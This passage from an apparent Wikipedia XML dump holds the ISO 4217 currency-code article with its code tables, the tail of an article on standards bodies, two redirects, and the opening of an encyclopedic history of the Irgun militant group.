There are many national and regional standards organisations, but the three [[international organization]]s having the highest international recognition are the [[International Organization for Standardization]] (ISO), the [[International Electrotechnical Commission]] (IEC), and the [[International Telecommunication Union]] (ITU).  All three of these have existed for more than 50 years (founded in 1947, 1906, and 1865, respectively) and they are all based in [[Geneva]], [[Switzerland]]. They have established tens of thousands of standards covering almost every conceivable topic. Many of these are then adopted worldwide replacing various incompatible 'homegrown' standards. Many of these standards are naturally evolved from those designed in-house within an industry, or by a particular country, whilst others have been built from scratch by groups of experts who sit on various Technical Committees.

In addition to these organizations, there exist literally thousands of [[standards organizations]] that set standards within some more limited context, such as [[IETF]], [[W3C]] or [[IEEE]].

==See also==
*[[International Organization for Standardization]] (ISO) and [[List of ISO standards]]
*[[International Electrotechnical Commission]] (IEC) and [[List of IEC standards]]
*[[International Telecommunication Union]] (ITU) and [[:Category:ITU-T recommendations]]
*[[British Standards]] (formerly British Standards Institute, BSI)
*[[ASTM International]] 
*[[Open standard]]
*[[Standardisation]]
*[[Standards Organizations]]

==External links==
*[http://www.iso.ch/ The ISO Web Site]
*[http://www.iec.ch/ The IEC Web Site]
*[http://www.itu.ch/ The ITU Web Site]
*[http://www.astm.org/ The ASTM Web Site]
*[http://www.bsi-global.com/ The BSI Web Site]
*[http://www.beuth.de/ The DIN Web Site]
*[http://www.bis.org.in/ The BIS Web Site]
*[http://www.ipc.org/ The IPC Web Site]
*[http://www.sae.org/ The SAE Web Site]
*[http://www.aiag.org/ The AIAG Web Site]
*[http://www.ieee.org/ The IEEE Web Site]
[[Category:Standards]]

[[fi:Standardi]]</text>
    </revision>
  </page>
  <page>
    <title>ISO 4217</title>
    <id>15403</id>
    <revision>
      <id>41612306</id>
      <timestamp>2006-02-28T14:37:43Z</timestamp>
      <contributor>
        <username>Octothorn</username>
        <id>3884</id>
      </contributor>
      <minor />
      <comment>Reducing strong language</comment>
      <text xml:space="preserve">'''ISO 4217''' is the [[international standard]] describing three letter codes (also known as the '''currency code''') to define the names of [[currency|currencies]] established by the [[International Organization for Standardization]] (ISO). The ISO 4217 code list is the established norm in [[banking]] and [[business]] all over the world for defining different currencies, and in many countries the codes for the more common currencies are so well known publicly, that [[exchange rate]]s published in newspapers or posted in [[bank]]s use only these to define the different currencies, instead of translated currency names or ambiguous [[currency symbol]]s.

The first two letters of the code are the two letters of [[ISO 3166-1 alpha-2]] [[country codes]] (which are similar to those used for [[Country code top-level domain|national top-level domains]] on the [[Internet]]) and the third is usually the initial of the currency itself. So [[Japan]]'s currency code becomes '''JPY'''&amp;mdash;JP for Japan and Y for [[yen]]. This eliminates the problem caused by the names [[Dollar|dollar]], [[Franc|franc]] and [[Pound (currency)|pound]] being used in dozens of different countries, each having significantly differing values. Also, if a currency is revalued, the currency code's last letter is changed to distinguish it from the old currency. In some cases, the third letter is the initial for &quot;new&quot; in that country's language, to distinguish it from an older currency that was revalued; the code often long outlasts the usage of the term &quot;new&quot; itself. Examples of this include the [[Mexican peso]] ('''MXN''') and the [[Turkish lira]] ('''TRY'''). Other changes can be seen, however; the Russian [[ruble]], for example, changed from '''RUR''' to '''RUB''', where the B comes from the third letter in the word &quot;ruble&quot;.

There is also a three-digit code number assigned to each currency, in the same manner as there is also a  three-digit code number assigned to each country as part of [[ISO 3166]].

The standard also defines the relationship between the major currency unit and any minor currency unit. Often, the minor currency unit has a value that is 1/100 of the major unit, but 1/10 or 1/1000 are also common. Some currencies do not have any minor currency unit at all.  In others, the major currency unit has so little value that the minor unit is no longer generally used (e.g. the Japanese ''sen'', 1/100th of a yen). [[Mauritania]] does not use a decimal division of units, setting 1 [[Mauritanian ouguiya|ouguiya]] (UM) = 5 [[khoums]], and [[Madagascar]] has 1 [[ariary]] = 5 [[iraimbilanja]].

ISO 4217 includes codes for not only currencies, but also codes for precious metals ([[gold]], [[silver]], [[palladium]] and [[platinum]]; by definition expressed per one [[troy ounce]], as compared to &quot;1 USD&quot;) and certain other entities used in international finance, e.g. [[Special Drawing Rights]]. There are also special codes allocated for testing purposes ('''XTS'''), and to indicate no currency transactions (XXX). These codes all begin with the letter &quot;X&quot;. The precious metals use &quot;X&quot; plus the metal's [[chemical symbol]]; silver, for example, is '''XAG'''. ISO 3166 never assigns country codes beginning with &quot;X&quot;, so ISO 4217 can use &quot;X&quot; codes for non-country-specific currencies without risk of clashing with future country codes.

Supranational currencies, such as the [[East Caribbean dollar]], the [[CFP franc]], the [[CFAF|CFA franc]] BEAC and the CFA franc BCEAO are normally also represented by codes beginning with an &quot;X&quot;. However, the [[Euro]] is represented by the code '''EUR'''; although EU is not an [[ISO 3166-1]] country code, it was used anyway, and in order to do so EU was added to the [[ISO 3166-1]] reserved codes list to represent the [[European Union]]. The predecessor to the Euro, the [[European Currency Unit]], had the code XEU.

== History ==

In 1973, the ISO Technical Committee 68 decided to develop codes for the representation of currencies and funds for use in any application of trade, commerce or banking. At the 17th session (February 1978) of the related [[UN]]/[[United_Nations_Economic_Commission_for_Europe|ECE]] Group of Experts agreed that the three letter alphabetic codes for International Standard ISO 4217, &quot;Codes for the representation of currencies and funds&quot;, would be suitable for use in international trade.

Over time, new currencies are created and old currencies are discontinued. Frequently, these changes are due to new governments (through war or a new constitution), treaties between countries standardizing on a currency, or revaluation of the currency due to excessive inflation. As a result, the list of codes must be updated from time to time. The ISO 4217 maintenance agency (MA), the [[British Standards Institution]], is responsible for maintaining the list of codes.

== Active codes (sorted by code) ==
These are listed in the form: &lt;nowiki&gt;&lt;code&gt; &lt;official ISO 4217 currency name&gt; (&lt;location&gt;)&lt;/nowiki&gt;
# AED [[UAE Dirham]] ([[United Arab Emirates]])
# AFN [[Afghani]] ([[Afghanistan]])
# ALL [[Lek]] ([[Albania]])
# AMD [[Armenian Dram]] ([[Armenia]])
# ANG [[Netherlands Antillian Guilder]] ([[Netherlands Antilles]]) &lt;!--(assuming Guikder is a typo) (it surely is)--&gt;
# AOA [[Kwanza]] ([[Angola]])
# ARS [[Argentine Peso]] ([[Argentina]])
# AUD [[Australian Dollar]] ([[Australia]])
# AWG [[Aruban Guilder]] ([[Aruba]])
# AZN [[Azerbaijanian Manat]] ([[Azerbaijan]])
# BAM [[Convertible Marks]] ([[Bosnia and Herzegovina]])
# BBD [[Barbados Dollar]] ([[Barbados]])
# BDT [[Taka]] ([[Bangladesh]])
# BGN [[Bulgarian Lev]] ([[Bulgaria]])
# BHD [[Bahraini Dinar]] ([[Bahrain]])
# BIF [[Burundian Franc]] ([[Burundi]])
# BMD [[Bermudian Dollar]] (customarily known as [[Bermuda Dollar]]) ([[Bermuda]])
# BND [[Brunei Dollar]] ([[Brunei]])
# BOB [[Boliviano]] ([[Bolivia]])
# BOV Bolivian Mvdol (Funds code) ([[Bolivia]])
# BRL [[Brazilian Real]] ([[Brazil]])
# BSD [[Bahamian Dollar]] ([[Bahamas]])
# BTN [[Ngultrum]] ([[Bhutan]])
# BWP [[Pula]] ([[Botswana]])
# BYR [[Belarussian Ruble]] ([[Belarus]])
# BZD [[Belize Dollar]] ([[Belize]])
# CAD [[Canadian Dollar]] ([[Canada]])
# CDF [[Franc Congolais]] ([[Democratic Republic of Congo]]) 
# CHF [[Swiss Franc]] ([[Switzerland]])
# CLF [[Unidades de formento]] (Funds code) ([[Chile]])
# CLP [[Chilean Peso]] ([[Chile]])
# CNY [[Yuan Renminbi]] ([[People's Republic of China]])
# COP [[Colombian Peso]] ([[Colombia]])
# COU [[Unidad de Valor Real]] ([[Colombia]])
# CRC [[Costa Rican Colon]] ([[Costa Rica]])
# CSD [[Serbian Dinar]] ([[Serbia]])
# CUP [[Cuban Peso]] ([[Cuba]])
# CVE [[Cape Verde Escudo]] ([[Cape Verde]])
# CYP [[Cyprus Pound]] ([[Cyprus]])
# CZK [[Czech Koruna]] ([[Czech Republic]])
# DJF [[Djibouti Franc]] ([[Djibouti]])
# DKK [[Danish Krone]] ([[Denmark]], [[Faroe Islands]])
# DOP [[Dominican Peso]] ([[Dominican Republic]])
# DZD [[Algerian Dinar]] ([[Algeria]])
# EEK [[Kroon]] ([[Estonia]])
# EGP [[Egyptian Pound]] ([[Egypt]])
# ERN [[Nakfa]] ([[Eritrea]])
# ETB [[Ethiopian Birr]] ([[Ethiopia]])
# EUR [[Euro]] ([[Andorra]], [[Austria]], [[Belgium]], [[Finland]], [[France]], [[French Guiana]], [[French Southern Territories]], [[Germany]], [[Greece]], [[Guadeloupe]], [[Ireland]], [[Italy]], [[Luxembourg]], [[Martinique]], [[Mayotte]], [[Monaco]], [[Montenegro]], [[Netherlands]], [[Portugal]], [[Reunion]], [[Saint Pierre and Miquelon]], [[San Marino]], [[Spain]], [[Vatican City]]) 
# FJD [[Fiji Dollar]] ([[Fiji]])
# FKP [[Falkland Islands Pound]] ([[Falkland Islands]])
# GBP [[Pound Sterling]] ([[United Kingdom]])
# GEL [[Lari]] ([[Georgia (country)|Georgia]])
# GHC [[Cedi]] ([[Ghana]])
# GIP [[Gibraltar Pound]] ([[Gibraltar]])
# GMD [[Dalasi]] ([[Gambia]])
# GNF [[Guinea Franc]] ([[Guinea]])
# GTQ [[Guatemalan quetzal|Quetzal]] ([[Guatemala]]
# GYD [[Guyana Dollar]] ([[Guyana]])
# HKD [[Hong Kong Dollar]] ([[Hong Kong]])
# HNL [[Lempira]] ([[Honduras]])
# HRK [[Croatian Kuna]] ([[Croatia]])
# HTG [[Haiti Gourde]] ([[Haiti]])
# HUF [[Forint]] ([[Hungary]])
# IDR [[Rupiah]] ([[Indonesia]])
# ILS [[New Israeli Shekel]] ([[Israel]])
# INR [[Indian Rupee]] ([[Bhutan]], [[India]])
# IQD [[Iraqi Dinar]] ([[Iraq]])
# IRR [[Iranian Rial]] ([[Iran]])
# ISK [[Iceland Krona]] ([[Iceland]])
# JMD [[Jamaican Dollar]] ([[Jamaica]])
# JOD [[Jordanian Dinar]] ([[Jordan]])
# JPY [[Yen]] ([[Japan]])
# KES [[Kenyan Shilling]] ([[Kenya]])
# KGS [[Som]] ([[Kyrgyzstan]])
# KHR [[Riel]] ([[Cambodia]])
# KMF [[Comoro Franc]] ([[Comoros]])
# KPW [[North Korean Won]] ([[North Korea]])
# KRW [[Won]] ([[South Korea]])
# KWD [[Kuwaiti Dinar]] ([[Kuwait]])
# KYD [[Cayman Islands Dollar]] ([[Cayman Islands]])
# KZT [[Tenge]] ([[Kazakhstan]])
# LAK [[Kip]] ([[Laos]])
# LBP [[Lebanese Pound]] ([[Lebanon]])
# LKR [[Sri Lanka Rupee]] ([[Sri Lanka]])
# LRD [[Liberian Dollar]] ([[Liberia]])
# LSL [[Loti]] ([[Lesotho]])
# LTL [[Lithuanian Litas]] ([[Lithuania]])
# LVL [[Latvian Lats]] ([[Latvia]])
# LYD [[Libyan Dinar]] ([[Libya]])
# MAD [[Moroccan Dirham]] ([[Morocco]], [[Western Sahara]])
# MDL [[Moldovan Leu]] ([[Moldova]])
# MGA [[Malagasy Ariary]] ([[Madagascar]])
# MKD [[Denar]] ([[Macedonia]])
# MMK [[Kyat]] ([[Myanmar]])
# MNT [[Tugrik]] ([[Mongolia]])
# MOP [[Pataca]] ([[Macau]])
# MRO [[Ouguiya]] ([[Mauritania]])
# MTL [[Maltese Lira]] ([[Malta]])
# MUR [[Mauritius Rupee]] ([[Mauritius]])
# MVR [[Rufiyaa]] ([[Maldives]])
# MWK [[Kwacha]] ([[Malawi]])
# MXN [[Mexican Peso]] ([[Mexico]])
# MXV [[Mexican Unidad de Inversion]] (UDI) (Funds code) ([[Mexico]])
# MYR [[Malaysian Ringgit]] ([[Malaysia]])
# MZM [[Metical]] ([[Mozambique]]) (assuming merical is a typo)
# NAD [[Namibian Dollar]] ([[Namibia]])
# NGN [[Naira]] ([[Nigeria]])
# NIO [[Cordoba Oro]] ([[Nicaragua]]) 
# NOK [[Norwegian Krone]] ([[Norway]])
# NPR [[Nepalese Rupee]] ([[Nepal]])
# NZD [[New Zealand Dollar]] ([[Cook Islands]], [[New Zealand]], [[Niue]], [[Pitcairn]], [[Tokelau]])
# OMR [[Rial Omani]] ([[Oman]])
# PAB [[Balboa]] ([[Panama]])
# PEN [[Nuevo Sol]] ([[Peru]])
# PGK [[Kina]] ([[Papua New Guinea]])
# PHP [[Philippine Peso]] ([[Philippines]])
# PKR [[Pakistan Rupee]] ([[Pakistan]])
# PLN [[Zloty]] ([[Poland]])
# PYG [[Guarani]] ([[Paraguay]])
# QAR [[Qatari Rial]] ([[Qatar]])
# RON [[New Leu]] ([[Romania]])
# RUB [[Russian Ruble]] ([[Russia]])
# RWF [[Rwanda Franc]] ([[Rwanda]])
# SAR [[Saudi Riyal]] ([[Saudi Arabia]])
# SBD [[Solomon Islands Dollar]] ([[Solomon Islands]])
# SCR [[Seychelles Rupee]] ([[Seychelles]])
# SDD [[Sudanese Dinar]] ([[Sudan]])
# SEK [[Swedish Krona]] ([[Sweden]])
# SGD [[Singapore Dollar]] ([[Singapore]])
# SHP [[Saint Helena Pound]] ([[Saint Helena]])
# SIT [[Tolar]] ([[Slovenia]])
# SKK [[Slovak Koruna]] ([[Slovakia]])
# SLL [[Leone]] ([[Sierra Leone]])
# SOS [[Somali Shilling]] ([[Somalia]])
# SRD [[Surinam Dollar]] ([[Suriname]])
# STD [[Dobra]] ([[São Tomé and Príncipe]])
# SYP [[Syrian Pound]] ([[Syria]])
# SZL [[Lilangeni]] ([[Swaziland]])
# THB [[Baht]] ([[Thailand]])
# TJS [[Somoni]] ([[Tajikistan]])
# TMM [[Manat]] ([[Turkmenistan]])
# TND [[Tunisian Dinar]] ([[Tunisia]])
# TOP [[Pa'anga]] ([[Tonga]])
# TRY [[New Turkish Lira]] ([[Turkey]])
# TTD [[Trinidad and Tobago Dollar]] ([[Trinidad and Tobago]])
# TWD [[New Taiwan Dollar]] ([[Taiwan]])
# TZS [[Tanzanian Shilling]] ([[Tanzania]])
# UAH [[Hryvnia]] ([[Ukraine]])
# UGX [[Uganda Shilling]] ([[Uganda]])
# USD [[US Dollar]] ([[American Samoa]], [[British Indian Ocean Territory]], [[Ecuador]], [[El Salvador]], [[Guam]], [[Haiti]], [[Marshall Islands]], [[Micronesia]], [[Northern Mariana Islands]], [[Palau]], [[Panama]], [[Palau]], [[East Timor]], [[Turks and Caicos Islands]], [[United States]], [[Virgin Islands]], [[Western Samoa]])
# UYU [[Peso Uruguayo]] ([[Uruguay]])
# UZS [[Uzbekistan Som]] ([[Uzbekistan]])
# VEB [[Bolivar]] ([[Venezuela]])
# VND [[Dong]] ([[Vietnam]])
# VUV [[Vatu]] ([[Vanuatu]])
# WST [[Tala]] ([[Samoa]])
# XAF [[CFA Franc BEAC]] ([[Cameroon]], [[Central African Republic]], [[Congo]], [[Chad]], [[Equatorial Guinea]], [[Gabon]])
# XAG [[Silver]] (one [[Troy ounce]])
# XAU [[Gold]] (one [[Troy ounce]])
# XBA [[European Composite Unit]] (EURCO) (Bonds market unit)
# XBB [[European Monetary Unit]] (E.M.U.-6) (Bonds market unit)
# XBC [[European Unit of Account 9]] (E.U.A.-9) (Bonds market unit)
# XBD [[European Unit of Account 17]] (E.U.A.-17) (Bonds market unit)
# XCD [[East Caribbean Dollar]] ([[Anguilla]], [[Antigua and Barbuda]], [[Dominica]], [[Grenada]], [[Montserrat]], [[Saint Kitts and Nevis]], [[Saint Lucia]], [[Saint Vincent and the Grenadines]])
# XDR [[Special Drawing Rights]] ([[International Monetary Fund|IMF]])
# XFO [[Gold-franc]] (Special settlement currency)
# XFU [[UIC franc]] (Special settlement currency)
# XOF [[CFA Franc BCEAO]] ([[Benin]], [[Burkina Faso]], [[Côte d'Ivoire]], [[Guinea-Bissau]], [[Mali]], [[Niger]], [[Senegal]], [[Togo]])
# XPD [[Palladium]] (one [[Troy ounce]])
# XPF [[CFP franc]] ([[French Polynesia]], [[New Caledonia]], [[Wallis and Futuna]])
# XPT [[Platinum]] (one [[Troy ounce]])
# XTS Code reserved for testing purposes
# XXX No currency
# YER [[Yemeni Rial]] ([[Yemen]])
# ZAR [[Rand]] ([[Lesotho]], [[Namibia]], [[South Africa]])
# ZMK [[Kwacha]] ([[Zambia]])
# ZWD [[Zimbabwe Dollar]] ([[Zimbabwe]])

==Currency Numeric Codes==
 ALPHABETIC CODE	NUMERIC CODE
 ADP			20
 AED			784
 AFA			4
 ALL			8
 AMD			51
 ANG			532
 AON			24
 AOR			982
 ARS			32
 ATS			40
 AUD			36
 AWG			533
 AZM			31
 AZN			944
 BAM			977
 BBD			52
 BDT			50
 BEF			56
 BGL			100
 BGN			975
 BHD			48
 BIF			108
 BMD			60
 BND			96
 BRL			986
 BSD			44
 BTN			64
 BWP			72
 BYR			974
 BZD			84
 CAD			124
 CDF			976
 CHF			756
 CLF			990
 CLP			152
 CNY			156
 COP			170
 CRC			188
 CUP			192
 CVE			132
 CYP			196
 CZK			203
 DEM			276
 DJF			262
 DKK			208
 DOP			214
 DZD			12
 ECS			218
 ECV			983
 EEK			233
 EGP			818
 ERN			232
 ESP			724
 ETB			230
 EUR			978
 FIM			246
 FJD			242
 FKP			238
 FRF			250
 GBP			826
 GEL			981
 GHC			288
 GIP			292
 GMD			270
 GNF			324
 GRD			300
 GTQ			320
 GWP			624
 GYD			328
 HKD			344
 HNL			340
 HRK			191
 HTG			332
 HUF			348
 IDR			360
 IEP			372
 ILS			376
 INR			356
 IQD			368
 IRR			364
 ISK			352
 ITL			380
 JMD			388
 JOD			400
 JPY			392
 KES			404
 KGS			417
 KHR			116
 KMF			174
 KPW			408
 KRW			410
 KWD			414
 KYD			136
 KZT			398
 LAK			418
 LBP			422
 LKR			144
 LRD			430
 LSL			426
 LTL			440
 LUF			442
 LVL			428
 LYD			434
 MAD			504
 MDL			498
 MGF			450
 MKD			807
 MMK			104
 MNT			496
 MOP			446
 MRO			478
 MTL			470
 MUR			480
 MVR			462
 MWK			454
 MXN			484
 MXV			979
 MYR			458
 MZM			508
 NAD			516
 NGN			566
 NIO			558
 NLG			528
 NOK			578
 NPR			524
 NZD			554
 OMR			512
 PAB			590
 PEN			604
 PGK			598
 PHP			608
 PKR			586
 PLN			985
 PTE			620
 PYG			600
 QAR			634
 ROL			642
 RUB			643
 RUR			810
 RWF			646
 SAR			682
 SBD			90
 SCR			690
 SDD			736
 SEK			752
 SGD			702
 SHP			654
 SIT			705
 SKK			703
 SLL			694
 SOS			706
 SRG			740
 STD			678
 SVC			222
 SYP			760
 SZL			748
 THB			764
 TJR			762
 TJS			972
 TMM			795
 TND			788
 TOP			776
 TPE			626
 TRL			792
 TTD			780
 TWD			901
 TZS			834
 UAH			980
 UGX			800
 USD			840
 USN			997
 USS			998
 UYU			858
 UZS			860
 VEB			862
 VND			704
 VUV			548
 WST			882
 XAF			950
 XAG			961
 XAU			959
 XBA			955
 XBB			956
 XBC			957
 XBD			958
 XCD			951
 XDR			960
 XFO			Nil
 XFU			Nil
 XOF			952
 XPD			964
 XPF			953
 XPT			962
 XTS			963
 XXX			999
 YER			886
 YUM			891
 ZAL			991
 ZAR			710
 ZMK			894
 ZRN			180
 ZWD			716

==Without currency code==
A number of territories are not included in ISO 4217, because their currencies are not ''per se'' an independent currency, but a variant of another currency. In the case of the [[Channel Islands]] and the [[Isle of Man]], they have no [[ISO 3166-1 alpha-2]] [[country codes]] and hence there is no corresponding currency code. These currencies are:
# [[Faroese króna]] (dependent on the [[Danish krone]])
# [[Guernsey pound]] (dependent on the [[Pound sterling]]; no ISO 3166-1 alpha-2 country code)
# [[Jersey pound]] (dependent on the [[Pound sterling]]; no ISO 3166-1 alpha-2 country code)
# [[Isle of Man pound]] (dependent on the [[Pound sterling]]; no ISO 3166-1 alpha-2 country code)
# [[Tuvaluan dollar]] (dependent on the [[Australian dollar]]).

== Obsolete currency codes ==
Note that the currency names used below may not match the currency names used in the ISO standard itself, but the codes do match.
===Replaced by Euro===
# ADP [[Andorran Peseta]]
# ATS Austrian [[Schilling]]
# BEF [[Belgian Franc]]
# DEM [[Deutsche Mark]]
# ESP Spanish [[Peseta]]
# FIM Finnish [[Markka]]
# FRF [[French franc|French Franc]]
# GRD Greek [[Drachma]]
# IEP [[Irish Pound]]
# ITL [[Italian Lira]]
# LUF [[Luxembourg Franc]]
# NLG Dutch [[Dutch Gulden|Guilder]]
# PTE [[Portuguese Escudo]]
# XEU [[European Currency Unit]] (ECU)

===Replaced for other reasons===
# AFA [[Afghani (currency)|Afghani]] (replaced by AFN)
# ALK Albanian old lek (replaced by ALL)
# AON Angolan New Kwanza (replaced by AOA)
# AOR Angolan Kwanza Readjustado (replaced by AOA)
# ARP Peso Argentino (replaced by ARS)
# ARY Argentine peso (replaced by ARS)
# AZM [[Azerbaijan]]i [[Azerbaijani manat|manat]] (replaced by AZN)
# BEC [[Belgian Franc]] (convertible)
# BEL Belgian Franc (financial)
# BGJ Bulgarian lev A/52 (replaced by BGN)
# BGK Bulgarian lev A/62 (replaced by BGN)
# BGL Bulgarian lev A/99 (replaced by BGN)
# BOP Bolivian peso (replaced by BOB)
# BRB Brazilian cruzeiro (replaced by BRL)
# BRC Brazilian cruzado (replaced by BRL)
# CNX Chinese People's Bank dollar (replaced by CNY)
# CSJ [[Czechoslovakia|Czechoslovak]] koruna A/53
# CSK [[Czechoslovakia|Czechoslovak]] koruna (replaced by CZK and SKK)
# DDM mark der DDR (East Germany) (replaced by DEM)
# ECS Ecuador [[Sucre (currency)|sucre]] (replaced by USD)
# ECV Ecuador [[Unidad de Valor Constante]] (Funds code) (discontinued)
# EQE Equatorial Guinean ekwele (replaced by XAF)
# ESA Spanish peseta (account A)
# ESB Spanish peseta (account B)
# GNE Guinean syli (replaced by XOF)
# GWP Guinea peso (replaced by XOF)
# ILP Israeli pound (replaced by ILR)
# ILR Israeli old shekel (replaced by ILS)
# ISJ Icelandic old krona (replaced by ISK)
# LAJ Lao kip - Pot Pol (replaced by LAK)
# MAF Mali franc (replaced by XOF)
# MGF [[Madagascar|Malagasy]] [[franc]] (replaced by MGA)
# MKN Macedonian denar A/93 (replaced by MKD)
# MVQ Maldive rupee (replaced by MVR)
# MXP Mexican peso (replaced by MXN)
# PEH Peruvian sol (replaced by PEN)
# PLZ Polish złoty A/94 (replaced by PLN)
# ROK Romanian leu A/52 (replaced by ROL)
# ROL [[Romania]]n [[Romanian leu|leu]] A/05 (replaced by RON)
# RUR Russian ruble (replaced by RUB)
# SRG Suriname guilder (replaced by SRD)
# SUR Soviet Union ruble (replaced by RUB)
# SVC [[El Salvador|Salvadoran]] [[Colón (currency)|colón]] (replaced by USD)
# TPE Timor escudo
# TRL [[Lira|Turkish lira]] A/05 (replaced by TRY)
# UGW Ugandan old shilling (replaced by UGX)
# UYN Uruguay old peso (replaced by UYU)
# VNC Vietnamese old dong (replaced by VND)
# YDD South Yemeni dinar (replaced by YER)
# YUD New Yugoslavian Dinar (replaced by CSD)
# YUM Yugoslavian Dinar (replaced by CSD)
# ZAL South African [[financial rand]] (Funds code) (discontinued)
# ZRN New Zaire (replaced by CDF)
# ZRZ Zaire (replaced by CDF)
# ZWC Zimbabwe Rhodesian dollar (replaced by ZWD)

== See also ==                                    
*[[List of circulating currencies]]
*[[Currency]]                   
*[[Table of historical exchange rates]]
*[[List of international trade topics]]
*[[Society for Worldwide Interbank Financial Telecommunication|SWIFT]] and [[List of SWIFT codes]]

== External links ==
* [http://www.iso.org/iso/en/prods-services/popstds/currencycodeslist.html The official list of ISO-4217 alphabetic and numeric codes]
*[http://www.unece.org/cefact/recommendations/rec09/rec09_ecetrd203.pdf An older list of ISO-4217 alphabetic codes that contains some history of ISO-4217] ([[PDF]] file)
*[http://fx.sauder.ubc.ca/currency_table.html Another list of numeric and alphabetic ISO 4217 currency codes]
&lt;!--
*[http://www.bsi-global.com/Portfolio+of+Products+and+Services/Books+Guides/Consumer/th42090.xalter] – ISO 4217 Maintenance Authority at the British Standards Institute – includes list of currency codes (not up-to-date).
*[http://www.unece.org/cefact/rec/cocucod.htm] – [[United Nations Economic Commission for Europe]] (UNECE) – Country and Currency Codes [http://www.unece.org/cefact/rec/cocucod.htm] (up-to-date):
--&gt;
* Currency conversion:
** [http://coinmill.com/ Calculator for Currency Rate Exchange]
**http://www.xe.com/ucc/
**http://www.oanda.com/convert/classic
*[http://www.fx4business.com/services/EasyReference.html Travelex Country and Currency Guide]

[[Category:Currency]]
[[Category:Encodings]]
[[Category:International economics]]
[[Category:International trade]]

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[[zh:ISO 4217]]</text>
    </revision>
  </page>
  <page>
    <title>Intrauterine Device</title>
    <id>15404</id>
    <revision>
      <id>15912879</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Intrauterine device]]
</text>
    </revision>
  </page>
  <page>
    <title>Indo-Germanic</title>
    <id>15405</id>
    <revision>
      <id>39247659</id>
      <timestamp>2006-02-11T20:58:50Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <minor />
      <comment>better redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-European]]</text>
    </revision>
  </page>
  <page>
    <title>Irgun</title>
    <id>15406</id>
    <revision>
      <id>41793607</id>
      <timestamp>2006-03-01T20:13:59Z</timestamp>
      <contributor>
        <username>Guy Montag</username>
        <id>144804</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Irgun1.jpg|thumb|right|Irgun poster showing their view of the Land of Israel]] '''Irgun''' (ארגון), shorthand for '''Irgun Tsvai Leumi''' (ארגון צבאי לאומי, also spelled '''Irgun Zvai Leumi'''), [[Hebrew language|Hebrew]] for &quot;National Military Organization&quot;, was a militant [[Zionism|Zionist]] group that operated in the [[British Mandate of Palestine]] from 1931 to 1948. In Israel, this group is commonly referred to as '''Etzel''' (אצ&quot;ל), an acronym of the Hebrew initials. In the time in which the Irgun operated, often people referred to the Irgun as 'הגנה ב or ההגנה הלאומית. The Irgun was classified by [[Britain|British]] authorities as a [[terrorism|terrorist]] organization and regularly described as such by many, but others considered it to be a [[resistance movement|liberation movement]]. Its political association with [[Revisionist Zionism]] rendered it a predecessor movement to modern Israel's [[right-wing]] [[Likud]] party/coalition.

===Founding, development and key events===
The group was an offshoot of the [[Haganah]] in protest both against its policy of restraint and [[socialist]] leanings. Based on the premises formulated by [[Ze'ev Jabotinsky]] that &quot;every [[Jew]] had the right to enter [[British Mandate of Palestine|Palestine]]; only active retaliation would deter the [[Arab]]s; only Jewish armed force would ensure the Jewish state,&quot; (Howard Sachar: A ''History of the State of Israel'', pps 265-266) the group made retaliation against Arab attacks a central part of their initial efforts. The [[Jewish Agency]] denounced the existence, strategy, and tactics of the group from the very outset, leading to a full-fledged confrontation in 1948 that led to the dissolution of the group.

Irgun was founded in 1931 by [[Avraham Tehomi]], following a largely political and ideological split with the [[Haganah]] after he had assumed leadership over the district of [[Jerusalem]]. Irgun differentiated itself from the Haganah by disassociating from the socialist ideology and the prevalent strategy of ''Havlagah'', or restraint. Throughout its history Irgun advocated a more decisive use of force in the defense of Jews in Mandate Palestine and in advancing the formation of a Jewish state. 

While the strategy, tactics, and operational methods of the organization changed through the years, its primary goals were to:

* Provide a non-Socialist alternative to the leading Zionist organizations;
* Eliminate or reduce the threat of Arab attacks on Jewish targets by assured and harsh retaliation for such attacks;
* Bring to an end the British mandatory rule, which they considered in violation of international law

From its inception, the group went through several phases in its short lifespan.
* From 1931 to 1937 it was a small, renegade group that undertook scattered attacks against Arab targets.  This phase ended when the group itself split, with some of its leaders, including the original founder, Tehomi, returning to the Haganah; and the group formally identifying itself as &quot;Etzel&quot; (Irgun).
* During the [[Great Uprising]] (1936-1939), in which about 320 [[Jew]]s were killed in Arab attacks, Irgun resumed its reprisal attacks against Arabs. Following the killing of five Jews at [[Kibbutz Kiryat Anavim]] on [[November 9]], [[1937]], Irgun launched a [[List of Irgun attacks during the 1930's|series of attacks]] which lasted until the beginning of [[World War II]], in which more than 250 Arab civilians were killed.
* These attacks coincided roughly with Irgun's campaign of facilitating immigration of European Jews who faced discrimination, murder and pogroms in Europe. The first vessel arrived on [[April 13]], [[1937]], and the last on [[February 13]], [[1940]]. All told, about 18,000 Jews escaped [[genocide]] in Europe in this way.
* Upon the publication of the [[1939 White Paper|White Paper]] in May of 1939, Irgun concentrated all its efforts against the British.
* From 1940 through 1943, Irgun declared a truce against the British, and supported Allied efforts against Nazi forces and their allies in the area by enlisting its members in British forces and the [[Jewish Brigade]]. A small group lead by [[Avraham Stern]], who insisted on continuing to fight the British, broke off and formed an independent group, [[Lehi]]. In 1941, the Irgun leader, [[David Raziel]] volunteered for a dangerous British military mission in [[Iraq]] to capture or kill [[Amin al-Husayni]], but was killed by a [[Luftwaffe|German bomber]] before the operation could be finished.
* In February of 1944, under the new leadership of [[Menachem Begin]], Irgun resumed hostilities against the British authorities. The purpose of these attacks was to increase the cost of British mandatory rule and influence British public opinion so as to encourage British withdrawal. It included attacks on prominent symbols of the British administration, including the [[British army|British military]], police, and civil headquarters at the [[King David Hotel bombing|King David Hotel]] and the British prison in [[Acre]]. Although these attacks were largely successful, several Irgun operatives were captured, convicted, and hanged. Refusing to accept the jurisdiction of the British courts, those accused refused to defend themselves. The Irgun leadership ultimately responded to these executions by hanging two British sergeants, which effectively brought the executions to an end.
* Following the assassination of [[Lord Moyne]] by [[Lehi (group)|Lehi]], the [[Yishuv]] and [[Jewish Agency]] initiated &quot;[[The Hunting Season]]&quot; on Irgun and the Lehi group, facilitating the arrest of some 1000 members of those organizations who were interned in British camps. The British deported 251 of them to camps in [[Africa]].
